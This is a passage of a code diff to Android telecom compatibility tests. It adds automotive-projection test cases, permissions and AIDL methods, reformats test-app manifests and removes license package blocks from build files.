+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index c8141f9..c333bdb 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -44,4 +44,8 @@
         <option name="package" value="android.telecom.cts" />
         <option name="runtime-hint" value="10m20s" />
     </test>
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="bugreportz-on-failure" value="true" />
+    </object>
 </configuration>
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
index 0baaeb2..74b42aa 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "Api29InCallServiceTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index d9fd0f8..1922df6 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -15,35 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.api29incallservice"
-          android:versionCode="1"
-          android:versionName="1.0"
-          android:sharedUserId="android.telecom.cts">
+     package="android.telecom.cts.api29incallservice"
+     android:versionCode="1"
+     android:versionName="1.0"
+     android:sharedUserId="android.telecom.cts">
 
     <!-- sdk 15 is the max for read call log -->
     <uses-sdk android:minSdkVersion="15"
-              android:targetSdkVersion="29" />
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
 
     <application android:label="Api29CTSInCallService"
                  android:debuggable="true">
         <service android:name=".CtsApi29InCallService"
-                 android:permission="android.permission.BIND_INCALL_SERVICE"
-                 android:launchMode="singleInstance"
-                 android:exported="true">
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:launchMode="singleInstance"
+             android:exported="true">
             <!--  indicates it's a non-UI service, required by non-Ui InCallService -->
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
         </service>
         <service android:name=".CtsApi29InCallServiceControl"
-                 android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.telecom.cts.api29incallservice.ACTION_API29_CONTROL"/>
+                <action android:name="android.telecom.cts.api29incallservice.ACTION_API29_CONTROL"/>
             </intent-filter>
         </service>
     </application>
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
index 413066a..632a714 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CallRedirectionServiceTestApp",
     srcs: [
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
index 8527c9e..a4b0a97 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
@@ -15,18 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.redirectiontestapp">
+     package="android.telecom.cts.redirectiontestapp">
     <application android:label="CTSCRTest">
         <service android:name=".CtsCallRedirectionService"
-                 android:permission="android.permission.BIND_CALL_REDIRECTION_SERVICE">
+             android:permission="android.permission.BIND_CALL_REDIRECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.CallRedirectionService" />
+                <action android:name="android.telecom.CallRedirectionService"/>
             </intent-filter>
         </service>
-        <service android:name=".CtsCallRedirectionServiceController">
+        <service android:name=".CtsCallRedirectionServiceController"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.cts.redirectiontestapp.ACTION_CONTROL_CALL_REDIRECTION_SERVICE" />
+                <action android:name="android.telecom.cts.redirectiontestapp.ACTION_CONTROL_CALL_REDIRECTION_SERVICE"/>
             </intent-filter>
         </service>
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
index 878eddd..79bf603 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
@@ -17,10 +17,6 @@
 // package name which does not conflict with the CallScreeningService
 // associated with the CTS InCallService.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CallScreeningServiceTestApp",
     srcs: [
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index 1d10377..183e269 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -15,27 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.screeningtestapp">
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" />
-    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
+     package="android.telecom.cts.screeningtestapp">
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"/>
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
     <application android:label="CTSCSTest">
         <service android:name=".CtsCallScreeningService"
-                 android:permission="android.permission.BIND_SCREENING_SERVICE">
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.CallScreeningService" />
+                <action android:name="android.telecom.CallScreeningService"/>
             </intent-filter>
         </service>
-        <service android:name=".CallScreeningServiceControl">
+        <service android:name=".CallScreeningServiceControl"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE" />
+                <action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE"/>
             </intent-filter>
         </service>
         <activity android:name=".CtsPostCallActivity"
-                  android:label="CtsPostCallActivity">
+             android:label="CtsPostCallActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.POST_CALL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.telecom.action.POST_CALL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/telecom/CarModeTestApp/Android.bp b/tests/tests/telecom/CarModeTestApp/Android.bp
index 9483bde..53ea07e 100644
--- a/tests/tests/telecom/CarModeTestApp/Android.bp
+++ b/tests/tests/telecom/CarModeTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CarModeTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
index 1a94526..278de3d 100644
--- a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
 
     <application android:label="CarModeTestApp">
         <service android:name=".CtsCarModeInCallService"
diff --git a/tests/tests/telecom/CarModeTestAppTwo/Android.bp b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
index 55abd0b..4ab49df 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/Android.bp
+++ b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CarModeTestAppTwo",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
index 89489a3..33031ec 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
 
     <application android:label="CarModeTestAppTwo">
         <service android:name=".CtsCarModeInCallServiceTwo"
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
index 9bdf9cc..6bab5a65 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "ThirdPtyDialerTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
index c99ef76..49bad5c 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "ThirdPtyDialerTestAppTwo",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
index 363b4ab..faf7305 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "ThirdPtyInCallServiceTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index fb2298a..146cd7c 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -15,12 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.thirdptyincallservice"
-          android:versionCode="1"
-          android:versionName="1.0" >
+     package="android.telecom.cts.thirdptyincallservice"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <!-- sdk 15 is the max for read call log -->
-    <uses-sdk android:minSdkVersion="15" />
+    <uses-sdk android:minSdkVersion="15"/>
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
@@ -29,23 +29,23 @@
 
     <application android:label="ThirdPtyCTSInCallService">
         <service android:name=".CtsThirdPartyInCallService"
-                 android:permission="android.permission.BIND_INCALL_SERVICE"
-                 android:launchMode="singleInstance"
-                 android:exported="true">
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:launchMode="singleInstance"
+             android:exported="true">
             <!--  indicates it's a non-UI service, required by non-Ui InCallService -->
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
-                       android:value="true" />
+                       android:value="true"/>
             <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
                        android:value="true" />
         </service>
         <service android:name=".CtsThirdPartyInCallServiceControl"
-                 android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
+                <action android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
             </intent-filter>
         </service>
     </application>
diff --git a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
index 5336d81..5357afb 100644
--- a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
+++ b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
@@ -24,5 +24,7 @@
     void enableCarMode(int priority);
     void disableCarMode();
     void disconnectCalls();
+    boolean requestAutomotiveProjection();
+    void releaseAutomotiveProjection();
     boolean checkBindStatus(boolean bind);
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 459ff27..aa7224a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -88,6 +88,7 @@
     Context mContext;
     TelecomManager mTelecomManager;
     TelephonyManager mTelephonyManager;
+    UiModeManager mUiModeManager;
 
     TestUtils.InvokeCounter mOnBringToForegroundCounter;
     TestUtils.InvokeCounter mOnCallAudioStateChangedCounter;
@@ -170,8 +171,11 @@
             return;
         }
 
-        // Assume we start in normal mode at the start of all Telecom tests; a failure to leave car
-        // mode in any of the tests would cause subsequent test failures.
+        // Assume we start in normal mode at the start of all Telecom tests.
+        // A failure to leave car mode in any of the tests would cause subsequent test failures,
+        // but this failure should not affect other tests.
+        mUiModeManager = mContext.getSystemService(UiModeManager.class);
+        TestUtils.executeShellCommand(getInstrumentation(), "telecom reset-car-mode");
         assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
 
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
@@ -1807,7 +1811,6 @@
      * @param uiMode The expected ui mode.
      */
     public void assertUiMode(final int uiMode) {
-        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
         waitUntilConditionIsTrueOrTimeout(
                 new Condition() {
                     @Override
@@ -1817,7 +1820,7 @@
 
                     @Override
                     public Object actual() {
-                        return uiModeManager.getCurrentModeType();
+                        return mUiModeManager.getCurrentModeType();
                     }
                 },
                 TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index f3455e6..c4350fa 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -296,6 +296,9 @@
         mConnection.setConnectionProperties(Connection.PROPERTY_REMOTELY_HOSTED);
         // Not propagated
         assertCallProperties(mCall, 0);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_CROSS_SIM);
+        assertCallProperties(mCall, Call.Details.PROPERTY_CROSS_SIM);
     }
 
     /**
@@ -496,7 +499,7 @@
 
         // EXTRA_INCOMING_PICTURE
         Uri testIncomingPictureUrl = Uri.parse("content://carrier.xyz/picture1");
-        exampleExtras.putParcelable(TelecomManager.EXTRA_INCOMING_PICTURE, testIncomingPictureUrl);
+        exampleExtras.putParcelable(TelecomManager.EXTRA_PICTURE_URI, testIncomingPictureUrl);
 
         // EXTRA_OUTGOING_PICTURE
         ParcelUuid testOutgoingPicture = ParcelUuid.fromString("11111111-2222-3333-4444-55555555");
@@ -533,7 +536,7 @@
         assertEquals(longitude, testGetLocation.getLongitude(), 0);
         assertEquals(true, exampleExtras.getBoolean(TelecomManager.EXTRA_HAS_PICTURE));
         assertEquals(testIncomingPictureUrl,
-                exampleExtras.getParcelable(TelecomManager.EXTRA_INCOMING_PICTURE));
+                exampleExtras.getParcelable(TelecomManager.EXTRA_PICTURE_URI));
         assertEquals(testOutgoingPicture,
                 exampleExtras.getParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE));
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
index 0e51b37..15f6484 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
@@ -50,10 +50,14 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.ENTER_CAR_MODE_PRIORITIZED",
-                        "android.permission.CONTROL_INCALL_EXPERIENCE");
+                        "android.permission.CONTROL_INCALL_EXPERIENCE",
+                        "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION");
 
         mCarModeIncallServiceControlOne = getControlBinder(CARMODE_APP1_PACKAGE);
         mCarModeIncallServiceControlTwo = getControlBinder(CARMODE_APP2_PACKAGE);
+        // Ensure we start the test without automotive projection set.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
         setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
 
         final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
@@ -68,6 +72,10 @@
         if (!mShouldTestTelecom) {
             return;
         }
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_NORMAL);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
 
         if (mCarModeIncallServiceControlOne != null) {
             mCarModeIncallServiceControlOne.reset();
@@ -95,6 +103,29 @@
         disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
     }
 
+    public void testRequestAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        // Multiple calls should succeed.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    public void testRequestAutomotiveProjectionExclusive() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, false);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+    }
+
     /**
      * Verifies we bind to a car mode InCallService when a call is started when the device is
      * already in car mode.
@@ -116,6 +147,62 @@
     }
 
     /**
+     * Verifies we bind to a car mode InCallService when a call is started when the service has
+     * already set automotive projection.
+     */
+    public void testStartCallInAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
+     * Verifies we bind to a car mode InCallService when a call is started and the service has set
+     * both car mode AND projection.
+     */
+    public void testStartCallInCarModeAndAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Release projection and we should still have the call.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Re-request projection.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Exit car mode. Should still have the call by virtue of projection being set.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
      * Tests a scenario where we have two apps enter car mode.
      * Ensures that the higher priority app is bound and receives information about the call.
      * When the higher priority app leaves car mode, verifies that the lower priority app is bound
@@ -141,6 +228,36 @@
 
         // Drop the call from the second service.
         disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
+    /**
+     * Tests a scenario where one app enters car mode and the other sets automotive projection.
+     * Ensures that the automotive projection app is bound and receives information about the call.
+     * When the projecting app releases projection, verifies that the car mode app is bound
+     * and receives information about the call.
+     */
+    public void testStartCallingInCarModeAndProjectionTwoServices() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Now release projection from the projecting service
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Drop the call from the car mode service.
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
     }
 
     /**
@@ -166,7 +283,7 @@
     }
 
     /**
-     * Similar to {@link #testSwitchToCarMode}, except exits car mode before the call terminates.
+     * Similar to {@link #testSwitchToCarMode()}, except exits car mode before the call terminates.
      */
     public void testSwitchToCarModeAndBack() {
         if (!mShouldTestTelecom) {
@@ -193,7 +310,7 @@
                 fail("No call added to InCallService.");
             }
         } catch (InterruptedException e) {
-            fail("Interupted!");
+            fail("Interrupted!");
         }
 
         assertEquals(1, mInCallCallbacks.getService().getCallCount());
@@ -201,8 +318,8 @@
     }
 
     /**
-     * Similar to {@link #testSwitchToCarMode}, except enters car mode after the call starts.  Also
-     * uses multiple car mode InCallServices.
+     * Similar to {@link #testSwitchToCarMode()}, except enters car mode after the call starts.
+     * Also uses multiple car mode InCallServices.
      */
     public void testSwitchToCarModeMultiple() {
         if (!mShouldTestTelecom) {
@@ -242,7 +359,113 @@
                 fail("No call added to InCallService.");
             }
         } catch (InterruptedException e) {
-            fail("Interupted!");
+            fail("Interrupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+    /**
+     * Verifies we can switch from the default dialer to the car-mode InCallService when automotive
+     * projection is set.
+     */
+    public void testSwitchToAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection; should have swapped to the InCallService.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
+     * Similar to {@link #testSwitchToAutomotiveProjection()}, except releases projection before the
+     * call terminates.
+     */
+    public void testSwitchToAutomotiveProjectionAndBack() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection and confirm we're using the car mode ICS.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, release projection and confirm we're no longer using the car mode ICS.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interrupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+    /**
+     * Similar to {@link #testSwitchToAutomotiveProjection()}, except sets automotive projection
+     * after the call starts and has been bound to an InCallService using car mode.
+     */
+    public void testSwitchToAutomotiveProjectionMultiple() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection and confirm we're using the car mode ICS.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, Integer.MAX_VALUE);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, request automotive projection from a different ICS and confirm we're using it.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Release automotive projection, verify we drop back to the car mode ICS.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+        verifyCarModeUnbound(mCarModeIncallServiceControlTwo);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Finally, disable car mode and confirm we're using the default dialer once more.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interrupted!");
         }
 
         assertEquals(1, mInCallCallbacks.getService().getCallCount());
@@ -347,7 +570,7 @@
     }
 
     /**
-     * Use the control interface to enable car mode at a specified priority.
+     * Uses the control interface to enable car mode at a specified priority.
      * @param priority the requested priority.
      */
     private void enableAndVerifyCarMode(ICtsCarModeInCallServiceControl control, int priority) {
@@ -373,6 +596,34 @@
         assertUiMode(expectedUiMode);
     }
 
+    /**
+     * Uses the control interface to request automotive projection assert success or failure.
